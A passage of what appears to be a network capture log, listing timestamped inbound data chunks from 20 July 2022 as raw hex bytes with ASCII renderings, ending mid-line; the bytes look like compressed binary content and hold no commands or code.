2022-07-20 13:44:17 UTC	1033	IN	Data Raw: 72 f2 e7 54 f0 c3 db f8 7b 5c ba cf da ed da 2f 33 4f d4 47 f7 2e 20 e9 cf f7 80 04 75 af 4a a5 35 56 1a 33 6f 26 7e 7b d9 5a 2c 8a 66 97 6a 47 1e 46 4f 00 91 dc d3 d6 e6 4d 4e e2 3b 48 8f cd 3c 8b 18 6e 99 24 e3 9f 41 4f f1 85 d2 ae b9 7b 6b 15 bc 76 76 f0 4c c8 2d ed cb 34 48 c1 88 3b 49 e4 ae 73 8c f6 a6 78 51 08 d7 20 20 46 4a 06 94 79 9d 32 aa 5b 93 f8 57 97 c9 dc c2 3a c9 45 1d 47 88 ee 3f b3 ee 93 4e 80 ec b7 b3 66 51 8e 32 00 c1 27 1e f9 39 ae 3b 53 d5 8b c8 ed 8c a0 38 55 1d cf a9 fa 54 53 5d 5f 6a 97 86 e2 56 21 a4 66 2d 23 64 00 0f 7c 7d 6b 0f 53 d4 04 37 4f 10 fd e9 4e 0b 1e 99 c7 e9 5d b0 a6 96 88 eb 9d 55 6d 34 43 6f 2e a6 bb 93 7c 85 89 7e a1 bf 4f c2 92 3b 7c 42 18 f5 19 1f ad 47 0d cc d7 4f b4 a7 ce dd 0f 7f a0 a0 d9 de 35 c3 c4 91 b4 a1 Data Ascii: rT{\/3OG. uJ5V3o&~{Z,fjGFOMN;H<n$AO{kvvL-4H;IsxQ FJy2[W:EG?NfQ2'9;S8UTS]_jV!f-#d\|}kS7ON]Um4Co.\|~O;\|BGO5
2022-07-20 13:44:17 UTC	1136	IN	Data Raw: 5e df fb 30 7c 0e b1 d7 2e bc 41 e2 bd 5a 48 65 d2 34 44 63 0d a4 b8 26 79 9e 16 68 d9 89 e3 68 04 1c 77 3c 56 30 82 bb 71 ea 1a db 54 3b 40 d3 f4 0f 83 1f 0f 7c 37 e3 3d 4f c3 76 be 2f d6 75 f3 2c b6 96 d7 d2 b0 b4 b0 8e 36 00 92 a0 65 e4 24 e7 27 80 2b 88 f8 bf f1 7a f7 e3 76 b5 69 7f 3e 99 6b a7 de 59 5a 8b 78 ed ed a5 66 49 54 31 63 8c ff 00 17 3d 3d 05 7a 07 c4 2f 11 e8 fa df ec ef e0 8d 2b 4e 33 6a 3a de 82 cd 73 a8 7d 9a 16 68 6c e2 91 99 4a cc fd 15 89 db 85 af 9f f5 3b 3f b2 bc 73 44 e4 27 de 46 5e a0 fa 7d 45 15 24 d5 a2 b6 68 86 47 a6 6a 76 6b ab 44 da bd bd c4 96 6b 27 ef e2 b6 75 49 4a 8f e1 52 c0 80 7d c8 e2 ba ab 6f 1b 5c 1b c3 ab f8 76 3f f8 47 ee 2d 63 6b 64 5b 39 58 30 8d 94 ab 16 72 49 66 20 90 c7 bf a0 ae 4e 69 2d f5 cb 70 24 c4 5a 92 Data Ascii: ^0\|.AZHe4Dc&yhhw<V0qT;@\|7=Ov/u,6e$'+zvi>kYZxfIT1c==z/+N3j:s}hlJ;?sD'F^}E$hGjvkDk'uIJR}o\v?G-ckd[9X0rIf Ni-p$Z
2022-07-20 13:44:17 UTC	1152	IN	Data Raw: 24 72 07 18 a2 53 72 b6 9a 95 4e 6a 4f 95 f5 17 e1 ff 00 83 f4 df 88 9e 27 d0 f4 9b ed 55 74 83 a8 44 d6 d1 dd 32 ee 55 b8 51 88 95 c7 65 63 80 4f 6c d5 5f 1e fc 3f d7 7e 14 78 9d f4 ed 5e ce 4b 3b c8 98 94 94 67 64 aa 0e 03 a3 74 20 d6 16 ab a7 dc 78 77 56 bb b6 21 a0 96 29 0b 0e c6 36 07 18 f5 04 11 8a f6 6b bf 8e 96 df 12 7e 0e 3f 86 bc 55 66 b7 be 26 d3 da 3f ec fd 51 86 5d a2 1f 7d 59 ba ee 03 bf 42 2a d2 56 35 ba b9 e6 2d e2 a8 6e 54 db de db e5 b6 82 26 87 8c 8c 71 91 ed 5e 81 a3 7c 07 f1 47 88 7c 3b 6d e2 2f 0f 5b c7 e2 0d 36 41 fe b3 4d 9d 64 96 16 ee 8f 18 c3 23 0f 42 2b 9d f8 83 f0 27 c4 bf 0f f4 5d 3b 5b b8 b6 37 5a 15 d4 11 dc 43 7f 08 25 14 3a e7 cb 7f ee 30 f7 e0 d7 3f f0 ff 00 e2 87 88 7e 15 6b d1 ea 7a 06 a1 25 bc 9b 97 7c 7b bf 77 32 ff Data Ascii: $rSrNjO'UtD2UQecOl_?~x^K;gdt xwV!)6k~?Uf&?Q]}YB*V5-nT&q^\|G\|;m/[6AMd#B+'];[7ZC%:0?~kz%\|{w2
2022-07-20 13:44:17 UTC	1494	IN	Data Raw: 59 d2 84 8b 75 00 ba 84 c5 2c 58 60 de 54 ab c8 dc 08 c1 20 90 47 3d eb e8 6f 1f 78 ab c3 5f 1e be 28 7c 3b b9 6d 78 e9 da 36 af 6f 00 d5 ad 1b 25 2c 26 57 65 f2 d8 f4 52 f9 da 1b d0 83 4b 93 af 52 16 d6 3c 63 e1 af 85 7c 45 e3 7b cd 73 5d f0 ec 63 ed de 1d b4 5d 5b ca c1 2c c2 37 50 42 8e ec 3a e0 f5 00 8a f6 6f 8d 9f b4 17 fc 2e 4f 06 f8 53 40 f0 ec 12 25 fe af 22 b6 a1 6a 41 04 5c 86 0a 91 ab 1e 0a 96 25 b2 3d bd 2b ad fd 94 2d 2c b4 bf 8e 1f 16 6c 2c e2 fb 1d b4 2c cb 14 3f c2 91 ad c9 18 39 ec 06 05 78 aa 78 ce 0f 0d 7c 74 bf f1 86 95 a1 0b 8f 0e e8 ba 93 3b db 46 b9 8a 08 e4 66 55 20 8e 14 f5 2b db 38 15 69 72 2b 22 a3 dd 9f 60 fc 1d f8 61 6d f0 97 c1 36 9a 52 c7 6e 75 66 5d fa 85 dc 23 99 a4 27 38 dd d7 68 e8 07 4e f5 d8 b3 7b d5 5d 03 5b b0 f1 76 Data Ascii: Yu,X`T G=ox_(\|;mx6o%,&WeRKR<c\|E{s]c][,7PB:o.OS@%"jA\%=+-,l,,?9xx\|t;FfU +8ir+"`am6Rnuf]#'8hN{][v
2022-07-20 13:44:17 UTC	1510	IN	Data Raw: 7c bb 8f 55 c7 a6 6a 1b 6b 44 ba 6d c5 0a 46 80 06 27 be 3d 2a f5 dc 10 4b 0c 69 10 62 a0 01 9c 77 1e 87 f1 a9 ea 24 9e e6 df 87 74 d5 d4 af 2d ed 11 09 b8 96 78 e3 da 07 df 0c 40 18 ed 9f 4a fd 39 b4 b4 16 36 16 96 aa 36 25 bc 09 12 ae 00 c0 55 03 18 1c 76 af 82 3f 65 8f 05 4d e2 5f 8a 3a 44 72 1f 32 ce c5 8e a1 30 62 32 04 7d 07 b8 2d 8a fd 03 6f 9d c9 f5 39 ae 9a 6a c1 d0 89 53 35 53 5c f0 f6 9d e2 8d 26 e7 48 d5 ed 23 bd d3 ae d7 cb 9a de 51 c1 1d 88 f4 20 f2 0f 63 5a 89 1d 4a 20 dc c8 07 1c d6 82 3f 32 3c 65 a3 6a 5f 07 bc 79 e2 09 fc 2b ac dc e9 91 e9 7a 93 5a 43 9b 8f 2e e8 a0 c9 57 da 31 bd 78 c1 38 c6 6b ba f0 37 ec ff 00 f1 0f f6 84 b9 83 c4 be 28 be 9a d3 4d b9 c3 9d 4f 53 66 79 66 53 cf ee a3 cf 23 df 81 5a 57 7f 0d 8f c7 af da 8b 5a d3 a2 b9 Data Ascii: \|UjkDmF'=*Kibw$t-x@J966%Uv?eM_:Dr20b2}-o9jS5S\&H#Q cZJ ?2<ej_y+zZC.W1x8k7(MOSfyfS#ZWZ
2022-07-20 13:44:17 UTC	1526	IN	Data Raw: 49 0c c7 6b dc 48 c4 b4 ac 06 e2 c4 f6 f6 f4 a2 ad 78 57 e1 fe a3 e3 1f 87 f7 7e 20 d0 9f ed 97 7a 54 ad 1e a7 a5 c6 3f 7d 0a f5 59 50 7f 1a 91 9c 8e a0 83 45 7c 56 2b 2d ab 5a a7 b4 a8 db 6c fb 6c 36 61 4e 8d 25 08 25 63 f5 1f 60 8f 08 00 0a a0 28 03 a0 c7 1c 53 c2 fa 52 72 5b 35 22 8a fb d3 e3 1e e0 06 29 db 69 40 c5 2e d3 55 70 1b b6 8d b4 e0 36 d2 50 48 da 4d a2 9f 48 d4 08 66 da 69 19 a7 fd 69 3e 94 0e c3 48 ef 4d a7 d2 35 03 1a 47 6a 6f d7 ad 3a 91 a8 15 84 eb f4 a4 6e 94 a4 d1 4c 2c 14 d6 c1 a3 69 a4 a2 e1 60 23 d3 a5 27 34 b9 cd 26 7d 69 dc 04 da 69 36 8a 53 ed 49 45 c4 23 7a d2 74 a7 7f 3a 36 8a 60 33 1f 35 26 3f 2a 7b 52 11 40 0d f7 a4 3c d3 e9 36 8a 00 66 d1 46 3b d3 9a 82 3f 3a 00 6f de a4 da 69 d4 84 50 03 48 f5 a4 db 4e da 69 28 01 bd 68 23 Data Ascii: IkHxW~ zT?}YPE\|V+-Zll6aN%%c`(SRr[5")i@.Up6PHMHfii>HM5Gjo:nL,i`#'4&}ii6SIE#zt:6`35&?*{R@<6fF;?:oiPHNi(h#
2022-07-20 13:44:17 UTC	1534	IN	Data Raw: f5 c5 3e f2 0b 58 a4 62 af 90 0f 39 3f ae 2b 3a d3 c5 13 45 6d 24 28 8a 55 f1 82 4f 23 ff 00 ad 44 0c f3 24 92 cb 24 6a bb 72 d8 eb c7 b5 47 2b bd d9 a7 34 6d 64 65 6b 12 a4 d2 32 88 c2 22 e0 0c 67 af ff 00 5e b2 25 88 ee 40 5c 92 3a b7 61 de a6 d4 2f bc d6 74 5e 07 52 41 fe 55 9d 2c ec 3f 76 0e 4e 7e b5 d9 18 bb 1c 13 96 a4 ad 70 42 e7 f2 1f 8f f9 cd 10 c7 e7 cc 32 0f 3e 86 a4 b4 b3 92 ea 54 48 a2 69 1d f8 55 45 c9 3d b0 00 ee 6b e9 7f 82 3f b2 36 bb ae 5d 58 6b 7e 27 41 a2 69 42 45 97 ec b3 29 fb 4c ea 08 38 0b fc 0a 7d 4f e5 57 6e c6 6a f2 f4 2d fe cf ff 00 b2 82 78 bb 49 87 c4 7e 29 92 e2 c3 4e 9f 0d 69 67 6f 85 96 e1 3f be cc 73 b1 4f 6c 0c 9e b5 f5 ff 00 87 3c 37 a6 78 4f 4a 8b 4b d1 ac 22 d3 ac 22 18 58 61 18 c9 fe f3 1e ac c7 b9 3c d6 98 8d 47 08 Data Ascii: >Xb9?+:Em$(UO#D$$jrG+4mdek2"g^%@\:a/t^RAU,?vN~pB2>THiUE=k?6]Xk~'AiBE)L8}OWnj-xI~)Nigo?sOl<7xOJK""Xa<G
2022-07-20 13:44:17 UTC	1566	IN	Data Raw: 59 89 47 5a 0f 14 50 02 7d ea 6d 3e 93 68 a0 04 6e b4 9e d4 ef a5 1e d4 00 dd a2 91 97 34 b4 7b d3 01 31 8e 69 29 df 5a 39 a0 06 15 a4 23 15 27 34 cf 6a 2e 03 69 3a 2d 3b 6d 21 e2 9d c0 65 36 a4 6a 8f 69 a2 e0 14 c2 69 fd 29 a4 62 8b 80 c3 e9 48 78 eb 4b b4 d3 18 fa f3 40 0a cd 8a 69 34 8c d8 a6 96 f5 a2 e0 29 6a 4d f4 d2 d4 cc 8e f4 5c 76 25 dd 4d 2d 4c dc 29 0b 6e e6 8b 8e c3 89 a8 cf a5 05 80 a4 69 17 7a 29 20 33 67 68 27 93 8f 41 de 8b 85 8e 47 e2 3f c2 df 0f 7c 53 d2 a3 b1 d7 ed 8c 9e 4b 6e 82 e6 13 b2 68 49 eb b5 bd 0f a1 e2 8a eb 5d 84 68 5d c8 44 1d 59 88 00 7e 26 8a cd a4 c5 ca 9e e8 f7 20 28 db 4e db 4e 02 b9 0d ac 32 97 69 a7 63 d4 51 55 70 b0 c2 36 f4 a4 e6 a4 a6 ed 34 ae 22 3a 08 a7 37 4a 6b 66 8b 80 d6 eb 4c 3e f4 f3 ef 4c a0 76 19 48 d4 a4 Data Ascii: YGZP}m>hn4{1i)Z9#'4j.i:-;m!e6jii)bHxK@i4)jM\v%M-L)niz) 3gh'AG?\|SKnhI]h]DY~& (NN2icQUp64":7JkfL>LvH
2022-07-20 13:44:17 UTC	1582	IN	Data Raw: 7f 79 6d 32 32 19 87 42 d8 e4 29 e9 d4 fa 57 c3 ba d7 8a 6e ee 6e ae f5 3b b9 1a ee 5b a9 19 b7 49 27 ef 25 90 fc c5 98 f3 9f 7f 6e 29 fa 11 29 24 6b 78 fb e2 46 ab e3 8d 59 ee f5 5b c3 79 74 55 83 c8 58 85 41 93 88 d4 74 55 1d 94 57 9a 5e de 8b 8b d9 1e 30 52 27 e1 06 7a 0f 6a 8e fa f2 4b a6 f2 38 72 cc 64 72 3b 92 73 56 ed f4 99 24 1b e3 18 23 e6 27 ad 54 56 b7 67 04 a5 ce ec 8a 71 5a 4b 26 11 23 cb 39 07 39 3d 3d ea e4 fa 3f 96 a4 92 51 50 fc e0 74 fc 3d eb 42 e6 f1 74 e8 44 67 89 5b 00 b0 fa 56 3d fe a5 e6 bf 93 19 de 8b d4 e4 f2 49 e9 cf 7a ad 59 36 51 d1 95 25 59 1a 47 40 80 29 21 53 1d 7f 0a d6 d3 f4 e5 b3 8e 45 dc 24 95 f1 b9 ba 80 3a d2 e9 ba 54 97 73 2e 46 4e 7a 63 00 0a e9 b4 ed 0d e1 98 c8 c8 00 5e 4b 31 0d f3 f6 07 1d c7 a5 39 4b a1 11 85 dd Data Ascii: ym22B)Wnn;[I'%n))$kxFY[ytUXAtUW^0R'zjK8rdr;sV$#'TVgqZK&#99==?QPt=BtDg[V=IzY6Q%YG@)!SE$:Ts.FNzc^K19K
2022-07-20 13:44:17 UTC	1693	IN	Data Raw: 83 a7 5b e9 76 31 28 02 2b 75 00 b1 1f c4 cd d5 98 f7 26 bc 33 f6 28 f8 5d 71 e0 7f 87 33 eb 5a 84 7e 5d f6 bc cb 32 46 40 dc b0 28 f9 33 f5 24 9c 7d 2b e8 b0 b8 5a f3 2a cb 9a 5e 48 f7 29 c3 96 2b b9 22 54 8b 51 c7 4f 5e b5 99 63 c1 a5 c8 a4 1e 94 7d ea 64 0a 3d a9 69 bf 76 8d c7 a5 50 87 50 dd 69 37 52 6e a0 56 1d 45 37 75 1b a8 0b 0b f5 a6 d2 e4 d1 93 40 09 48 d4 b4 dc 9a 62 13 19 a3 9a 29 1b d2 80 0f 6a 69 19 a7 f3 4d a6 03 48 a6 91 9a 71 34 de 68 1d 86 32 d3 18 76 a9 0f bd 34 fd ea 2e 51 11 5a 61 5a 94 8a 69 18 a2 e0 40 eb 4c 29 53 b0 f9 b1 da 9a 56 a4 0a ae b9 e2 a3 61 9a b4 eb eb 51 32 d0 07 01 f1 53 e0 df 87 be 2d e9 5f 67 d5 a0 f2 75 08 97 16 ba a5 b8 02 68 4f 60 4f f1 af aa 9e 3e 95 f0 8f c6 8f d9 87 c5 1f 0b 64 7b d9 63 5d 47 46 76 2a 9a 85 a0 Data Ascii: [v1(+u&3(]q3Z~]2F@(3$}+Z^H)+"TQO^c}d=ivPPi7RnVE7u@Hb)jiMHq4h2v4.QZaZi@L)SVaQ2S-_guhO`O>d{c]GFv
2022-07-20 13:44:17 UTC	1733	IN	Data Raw: dc 2c 27 e3 48 79 e9 4e da 29 a7 ee d1 70 18 49 5a 61 34 f3 ef 4c c6 68 01 a5 bb 77 a8 d8 d3 89 fc ea 36 39 a6 31 84 f6 a6 71 dc e0 75 27 d0 53 9a b9 5f 89 fa f9 f0 c7 c3 bf 10 ea 49 9f 36 3b 37 48 f1 ff 00 3d 1f e4 5c 7b e5 a8 28 f8 bf f6 8e f8 95 2f 8f 7c 77 70 ba 74 52 dc da a1 16 b6 c2 30 72 62 53 cb 01 d3 2c 72 49 f4 22 bc 87 c6 9a a3 5b ac b6 f9 c9 31 84 90 e0 03 90 a3 80 07 a1 e0 7d 33 5e 9b 35 99 b1 d0 e4 9e dd 15 d6 ce 45 94 cb 91 c6 70 ac a5 8f 7d c7 a0 af 1c d5 50 ea 17 92 33 b8 da ce cd e6 11 d7 2c 4f f9 15 d5 46 d2 77 5d 0f 3b 10 a5 15 be e6 3c 37 09 24 60 1d c1 b1 f7 7b 7e 15 cf ea 12 32 b3 91 c3 0e bc 75 ad fb fb 40 8e 04 4e 4a e3 23 77 07 23 bd 73 f7 8c 19 48 3c 73 c8 af 52 3a 9e 2c ef d4 cc bb 98 f0 83 af 4c d2 58 06 13 26 dc 16 3c 03 4a Data Ascii: ,'HyN)pIZa4Lhw691qu'S_I6;7H=\{(/\|wptR0rbS,rI"[1}3^5Ep}P3,OFw];<7$`{~2u@NJ#w#sH<sR:,LX&<J
2022-07-20 13:44:17 UTC	1821	IN	Data Raw: 6a a5 bd 88 f2 4b 9c 93 8c 73 8f d6 99 32 4d fb bd 9f f0 2c 7b 76 e7 a5 25 ab 35 d6 c6 8c b1 09 77 f9 7f 26 31 b4 77 a8 c4 c0 a1 c8 e3 03 92 7a e2 a1 47 99 14 83 19 1c 7c a4 f5 a9 21 50 59 d1 fa 32 72 73 d3 8a 3a 02 6c 9a d5 92 78 58 36 70 1b 9f ff 00 5d 58 98 02 ae 44 8b c0 03 0c 7a d4 76 91 c0 6c cb 21 64 00 f3 b8 75 3e d4 82 44 45 90 29 0e 47 3c f4 ce 78 c7 bd 66 f7 2d 68 b5 27 9e c5 3c 98 c1 7e 47 3c 01 9c 9f 4c 55 5b 9b 39 20 41 1c ae 0e 5d 4a b2 f5 eb d3 eb 52 42 ad b9 25 0e c4 77 cd 5c 79 16 ed 78 05 f0 37 0d c3 ae 29 6a 83 73 ea af d8 be e9 0d e7 88 d0 3e f6 fb 34 6d cf 51 87 3d ab ea 21 29 dd 5f 32 7e c6 da 38 b6 b1 f1 06 a9 8e 1c c7 6e 87 1c 63 96 38 3f 97 15 f4 9a b9 35 e6 57 5f bc 7f d7 43 e9 30 cf f7 48 b8 26 a9 04 d5 53 78 ef 4a 24 3d 05 61 Data Ascii: jKs2M,{v%5w&1wzG\|!PY2rs:lxX6p]XDzvl!du>DE)G<xf-h'<~G<LU[9 A]JRB%w\yx7)js>4mQ=!)_2~8nc8?5W_C0H&SxJ$=a
2022-07-20 13:44:17 UTC	1908	IN	Data Raw: 1e 79 76 0a a0 0c f5 a0 bb 33 f4 07 e0 a6 f4 f8 57 e1 c0 e0 6e 6b 7d fc 7b b1 23 f1 ae f1 5a b9 ef 04 e9 6d a2 78 37 42 b1 70 04 96 f6 51 2b e3 a6 ed a0 9f d4 d6 ea f1 5e 6c b5 6d 9e fc 74 49 13 ef a5 dd eb 51 06 f5 a7 e7 f3 a9 b0 ee 4a 1b d6 97 22 a3 de 3b d1 bc 51 61 5c 93 3e bd 69 1e 41 1c 65 d8 e1 57 92 4f 61 4d dc 3b d2 48 15 d7 04 06 53 d4 1e f4 58 2e 79 79 f8 bc e7 e2 8b e8 c2 da 48 f4 64 8f 63 5e 4a 36 a7 99 d8 a9 3d 8f 4a f4 db 89 4c 36 f2 3a c6 d3 95 52 c2 38 f1 96 c0 e8 3b 64 d7 15 e2 5f 84 9a 1f 8b bc 40 9a 9e a3 f6 87 0b 10 8f ec d1 ca 52 32 41 e1 88 1d c5 6a 5a ae a9 e1 b6 16 e2 23 aa e9 28 00 8d 94 ff 00 a4 42 07 f0 90 78 70 3d 73 9a 76 33 8b 7a dc 9b c2 3a de a5 ab c3 78 ba be 9c 74 bb d8 66 38 b7 2c 1b 31 1e 51 b2 32 33 8e 3e b5 d0 57 37 Data Ascii: yv3Wnk}{#Zmx7BpQ+^lmtIQJ";Qa\>iAeWOaM;HSX.yyHdc^J6=JL6:R8;d_@R2AjZ#(Bxp=sv3z:xtf8,1Q23>W7
2022-07-20 13:44:17 UTC	1987	IN	Data Raw: dd ba ed 2a 7d b3 1e 33 f9 e2 a4 fe d4 bc d9 80 33 8e a3 cb e7 f4 14 73 79 0d 47 cc c2 1e 2d d4 4b 60 e8 fc f3 ff 00 2d 49 c7 e9 4d 6f 18 5f 8e 7f b2 1b 1e f2 1f f0 ad d1 ae 5c 85 f9 a3 90 8f 5d b8 14 ef ed 6b 86 c9 1b be 9b 41 fc f8 a5 cd e4 1c be 66 29 f1 6d e8 50 c7 4a 60 0f 7d df fd 6a 8e 4f 17 ea 5b 41 5d 18 f3 eb 2f f8 0a dc 5d 62 ee 4c ee 00 af d0 7f 85 0d ac ce 24 c0 04 9f 65 e3 f9 51 cf e4 1c be 66 0a f8 c3 52 2d f3 68 e4 63 af ce 71 9f ca 9d 27 8c 75 04 19 3a 39 3c e3 1e 61 ff 00 0a dc 3a d4 e8 aa 08 90 1f 5d bc 7f 2a 46 d7 26 2a 00 79 33 d7 95 cf f4 a7 cd e4 16 f3 31 8f 8b b5 0e 00 d1 a4 6c ff 00 d3 4f fe b5 23 f8 c2 f9 71 9d 22 4e 78 20 31 cf f2 c5 6d c1 ae 4c b9 69 0c 98 1d 84 74 9f db d2 ee 00 09 39 3f 78 0e 3f 95 2e 7f 20 b7 99 8a be 31 bc Data Ascii: }33syG-K`-IMo_\]kAf)mPJ`}jO[A]/]bL$eQfR-hcq'u:9<a:]F&*y31lO#q"Nx 1mLit9?x?. 1
2022-07-20 13:44:17 UTC	2003	IN	Data Raw: e0 9e 7f 1e d5 4e 61 19 e3 3b df 1c 13 c1 eb 41 77 12 32 19 50 0e 3e bc e0 7f 8d 68 24 e9 73 84 d8 01 2a 15 80 e0 e4 77 c7 d2 b3 03 86 7d a3 23 27 e6 35 38 77 b7 60 e3 39 cf f9 e6 95 82 2a c5 98 18 26 f4 38 ce e2 37 77 a7 b4 9b 1b e6 c6 ec 67 d3 18 fa 53 48 49 63 2c 07 ca dd 47 a1 3e 94 c5 20 e5 08 de 48 c0 3f 41 de 91 48 73 c0 d3 64 ae 00 3f 78 e7 f5 a6 9c 0c ae fd e4 03 85 fa 74 e7 d6 8b 69 8c 4f b5 1d 91 5b 00 e7 19 18 34 fb 88 09 74 75 7c 86 39 da 3a 63 df fc 29 f5 0e 83 6d e7 7b 77 de a4 aa bf 18 ee 3b d7 59 e1 ad 7a 37 ba b7 4b a2 c9 11 2b e6 ac 64 ee 29 9e 71 ef de b9 7c 2c 0c 4b 21 20 64 1c 75 e3 eb 4f b7 94 c7 72 8f b3 1e b8 ee 0d 4c a2 a4 b5 08 49 c5 9f 58 e9 df 05 74 6d 52 ce 2b e8 35 7b 9b bb 5b 80 24 8a 45 c0 05 3d 08 ec de be 9d 2a 69 7e 03 Data Ascii: Na;Aw2P>h$sw}#'58w`9&87wgSHIc,G> H?AHsd?xtiO[4tu\|9:c)m{w;Yz7K+d)q\|,K! duOrLIXtmR+5{[$E=*i~
2022-07-20 13:44:17 UTC	2075	IN	Data Raw: 63 d0 9f e1 07 b2 fb 56 5e bb e0 bb 2d 4e ef 4e be 16 71 41 f6 69 19 dd 61 8d 71 2a 60 8d a7 20 67 9e d4 ed a0 b9 25 bb 67 95 6a 17 6f 67 e4 44 20 6b 8b 80 c0 19 8c cc c1 5c e4 ee 51 9e 3a 51 5e 8e fe 0f d2 ee 75 01 73 29 10 3b 86 11 29 97 1f 29 1c c8 54 8e 4f 6c 67 18 a2 ab 94 8b 48 f8 c1 ed 5e 38 f7 a2 14 53 9c 93 db f1 35 24 11 15 b7 cb 63 6f 5e 78 07 bf 1e b5 b5 a8 4d 14 56 73 95 0a 99 1f f2 d0 e4 8f 5c 0e d5 8e 96 ed 7b 1c 39 c9 41 d0 76 af 45 6a 8f 23 67 a1 06 1e 5d 9b a4 1e 4a 9c b0 1c 71 ff 00 d7 ad 4b 7b 78 45 b8 2e ca 63 50 58 64 e3 1f d6 a2 be d2 62 b4 84 a8 fb eb 8d d8 e4 03 de aa 40 db ee 62 62 87 60 21 48 51 f2 e3 a5 47 40 bb be a6 a3 32 cf 62 50 ff 00 0a fc bc f0 de f5 95 61 3b 4b 7e 15 fe 48 d8 e1 c7 6f 6c d7 42 e1 57 0f 85 21 7a 28 1d ba Data Ascii: cV^-NNqAiaq*` g%gjogD k\Q:Q^us);))TOlgH^8S5$co^xMVs\{9AvEj#g]JqK{xE.cPXdb@bb`!HQG@2bPa;K~HolBW!z(
2022-07-20 13:44:17 UTC	2139	IN	Data Raw: 6f 31 4f 2d 8c 0f 41 ee 0d 50 08 05 e1 e7 a0 e8 79 e6 ad ec 21 b6 ae 53 39 c8 aa d0 47 fe 93 20 52 4e 11 89 34 12 f7 23 68 cf 98 8a 5f 27 77 38 e4 f5 ed 5a d0 aa dc 4d b4 9e 31 92 4f 60 3b 7e 35 92 80 89 01 1d 54 f7 3d ea e2 4d b9 f9 e3 db b5 20 47 61 a4 5c 2b ea 10 3b a0 e8 3a fb 0c 57 6f f0 fd 12 e2 e6 79 4c 80 62 39 10 aa f0 57 d4 83 f8 f1 5c 56 8d 09 b7 86 da e4 e2 44 0d fe ac fd e2 0d 77 be 08 80 44 f3 97 71 03 1f 9c 70 07 ca 5b 2a 31 5c 15 6d 66 8f 5a 8f c4 8e 87 c6 52 db 43 1c 52 8c 08 4c 00 39 3c 6d c0 eb ef 9f d6 bc 4b c4 b7 72 5d ef 70 8d 14 24 85 55 eb 85 1d 33 f5 ef 5e c3 e2 bb 26 b9 b0 b6 de e4 29 50 d2 1c f5 1d ab ca 35 6b 71 15 c3 87 04 c7 f3 36 d6 e9 ed c0 a9 c3 59 22 b1 77 6e c7 21 7d 8f 24 21 e4 9e 70 3b 0a cb 3e 82 b6 35 38 d4 39 28 19 Data Ascii: o1O-APy!S9G RN4#h_'w8ZM1O`;~5T=M Ga\+;:WoyLb9W\VDwDqp[*1\mfZRCRL9<mKr]p$U3^&)P5kq6Y"wn!}$!p;>589(
2022-07-20 13:44:17 UTC	2171	IN	Data Raw: 82 60 c5 49 4c a0 60 3e 62 39 3f e1 53 59 31 77 da e2 4d c4 7c bc 75 f6 e3 d6 a4 a4 9a 37 63 4f b6 69 6e 55 bf 79 fe b1 73 ce 58 77 ff 00 eb 57 39 6b a8 34 37 02 53 24 8e ca 49 c0 38 39 f5 ae 8b 48 98 5b 5d 79 2c 46 d5 c1 00 fa 1e bf 95 61 78 92 c0 c1 aa ce 7c a2 90 b1 38 f7 04 7e 55 0b 47 63 59 6d cc 6e 69 de 26 b8 69 36 a3 89 14 8e c7 35 e9 3e 14 f8 d3 ae f8 73 4d 16 96 97 9e 65 b0 3c 45 30 dc 50 9e a5 4f 61 5e 21 61 6e f0 42 ee 1c a0 c8 c2 e0 e4 a9 ad eb 1b e8 e3 68 cb b3 05 c0 19 ef 90 7b d0 ec 5c 26 e2 b4 3e bf f0 94 36 be 2d d0 53 58 b6 f1 6e a1 6c 24 66 38 98 8d cb 26 06 f5 e9 81 cd 5d 9e f6 ee d6 e2 3d 46 0d 66 6b 28 60 60 92 09 64 f3 43 c6 57 04 aa 80 01 6e e3 d2 be 6a f0 17 8d a0 f0 d5 fc 90 de db c5 a8 e9 77 0e 3c c8 65 c9 0b fe d2 8f 51 fa d7 Data Ascii: `IL`>b9?SY1wM\|u7cOinUysXwW9k47S$I89H[]y,Fax\|8~UGcYmni&i65>sMe<E0POa^!anBh{\&>6-SXnl$f8&]=Ffk(``dCWnjw<eQ
2022-07-20 13:44:17 UTC	2306	IN	Data Raw: 27 1e c6 a6 d4 ae 5f 54 b9 dd 6d 16 c1 b5 54 44 38 38 1d 6a c5 8e 9e cb 09 79 10 44 ee 7a 01 92 17 1d 3d 79 ae de 9a 9e 5e 8d 8c 92 d7 ca 87 cc 96 46 44 2c 01 61 d4 8f 4e 2b 77 c3 be 01 bd f1 de ac a2 ca 20 88 ac a6 49 a4 07 62 8e db 8f 73 ed de ba 0f 07 f8 11 fc 5d 72 96 cd 1c 90 59 46 43 cb 31 3d bd 07 a9 3d bf 3a f7 af 06 69 96 3a 3d 9e d8 6d 9a ce ca dc fe e2 33 c4 93 b0 e3 73 0f ee 8f af 35 cb 56 bf 22 b2 dc f4 28 61 bd a6 af 63 07 47 f0 56 97 f0 f3 4d 78 e0 89 52 e5 c2 99 ae 48 05 e5 c8 e4 fb 01 d8 0a f3 af 16 ea b2 35 fc b2 99 24 36 ec 00 4c 8c 63 8e 9f 5f 5a ec 3c 79 e2 19 66 79 e6 98 31 dc 48 58 c3 10 06 3a 0c fa 7d 2b ce b5 49 7e d0 a4 dd 06 50 c8 1f bf 39 e8 73 9a 8a 51 7f 14 b7 37 ad 34 bd c8 ec 62 4f 73 26 f1 84 62 a0 8e bc ee 1f 85 64 6b 8f Data Ascii: '_TmTD88jyDz=y^FD,aN+w Ibs]rYFC1==:i:=m3s5V"(acGVMxRH5$6Lc_Z<yfy1HX:}+I~P9sQ74bOs&bdk
2022-07-20 13:44:17 UTC	2369	IN	Data Raw: 2a 48 55 dc 39 cf 3f 4a b0 ae 92 5b a2 09 e3 78 23 27 01 86 19 89 ec 08 eb 8a 4a 29 17 ed 1b 41 a9 e9 89 7b 70 1d 83 40 ee b9 43 30 2b 95 ec 79 ec 7b 53 b4 9f 0f 5e 5a 5e 6d 96 ce 6b 7e 3e f1 07 68 38 e1 81 e9 f4 ad 3d 5e 4d 4f 5b 5b 60 96 86 e1 ad a3 0e 5a 25 2d 85 ec 08 f4 c7 4c 57 53 e1 69 6e ac f4 a8 e0 bc 8f ca 0e c5 94 dc b6 d3 b4 60 9e b9 e9 da ad cb 42 15 3d 6e 70 fa ee 83 75 69 75 87 49 67 88 05 c4 aa a4 82 7b f6 f5 ef 5d f7 c3 9f 0e bc f6 c5 5e d2 e2 08 13 1f 33 64 12 7a e1 47 a0 1d ea 49 75 cb a1 bd ad 6e e3 bb 72 76 45 1f 01 3d 72 30 39 3e 95 cc 4f f1 23 5a d1 9a 48 9a 5b 88 be 63 95 93 1c 03 c0 c6 2a 1c 